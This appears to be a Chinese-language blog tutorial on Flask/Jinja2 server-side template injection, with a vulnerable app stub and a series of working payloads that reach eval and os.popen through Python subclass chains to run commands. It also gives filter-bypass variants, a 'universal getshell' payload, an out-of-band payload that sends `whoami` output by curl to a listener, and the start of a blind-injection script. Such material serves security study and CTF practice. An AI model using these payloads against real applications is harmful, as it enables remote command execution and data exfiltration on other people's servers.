Flask-SSTI模版注入
SSTI(Server-Side Template Injection) 服务端模板注入
就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
Jinjia2
常用语法
1 | 控制结构 {% %} |
jinja2模板中使用双括弧符号表示一个变量,它是一种特殊的占位符。
当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等
jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值
检测ssti漏洞
smarty=Hello ${7*7} | Hello 49 |
---|---|
twig=Hello 49 | Hello 49 |
实验
源码
1 | from flask import Flask, request |
分析
可以看到
Template("Hello "+ name)
是直接将变量name给输出到模版,如下图构造poc直接利用eval函数来执行命令
1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
利用思路
随便找一个内置类对象用class拿到他所对应的类
用****bases****拿到基类
用**subclasses()**拿到子类列表
连贯操作如:
[].__class__.__base__.__subclasses__()
最后寻找可利用的类
for b in c.__init__.__globals__.values()
关于Python类
关于POC的构造
找共同类
不同的python版本 所包含的类也有差别,如python3中便没有file直接读取文件的类
而builtins类中则会包含不同版本中共有的类
1
2
3for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='共有的类':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
通用poc
也就是直接从
__builtins__
中提取1
2
3
4
5{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{% endif %}
{% endfor %}
过滤绕过
绕过中括号
1 | #通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128]) |
绕过逗号+中括号
1 | {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}} |
绕过双大括号(dns外带)
1 | {% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %} |
绕过 引号 中括号 通用getshell
1 | {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %} |
Python2盲注
1 | import requests |
学习自:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 偏有宸机!
评论